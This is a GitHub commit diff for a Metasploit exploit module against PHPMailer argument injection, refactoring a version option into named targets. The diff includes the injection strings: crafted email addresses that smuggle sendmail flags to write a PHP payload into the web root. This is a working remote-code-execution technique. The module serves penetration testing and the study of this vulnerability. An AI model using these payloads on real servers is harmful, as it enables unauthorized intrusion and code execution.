Skip to content

Commit 64037b0

Browse files
committed
Use a proper target instead of VERSION
1 parent c9dd7a5 commit 64037b0

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/exploits/multi/http/phpmailer_arg_injection.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -39,13 +39,15 @@ def initialize(info = {})
3939
'Platform' => 'php',
4040
'Arch' => ARCH_PHP,
4141
'Payload' => {'DisableNops' => true},
42-
'Targets' => [['Automatic', {}]],
42+
'Targets' => [
43+
['PHPMailer <=5.2.18', {}],
44+
['PHPMailer 5.2.20', {}]
45+
],
4346
'DefaultTarget' => 0
4447
))
4548

4649
register_options(
4750
[
48-
OptEnum.new('VERSION', [true, 'The version of PHPMailer', '<=5.2.18', ['<=5.2.18', '5.2.20']]),
4951
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
5052
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
5153
], self.class)
@@ -92,9 +94,9 @@ def exploit
9294
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
9395
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
9496

95-
if datastore['VERSION'] == '<=5.2.18'
97+
if target.name == 'PHPMailer <=5.2.18'
9698
email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
97-
elsif datastore['VERSION'] == '5.2.20'
99+
elsif target.name == 'PHPMailer 5.2.20'
98100
email = "\\\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\\\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
99101
else
100102
fail_with(Failure::NoTarget, 'The specified version is not supported')

0 commit comments

Comments
 (0)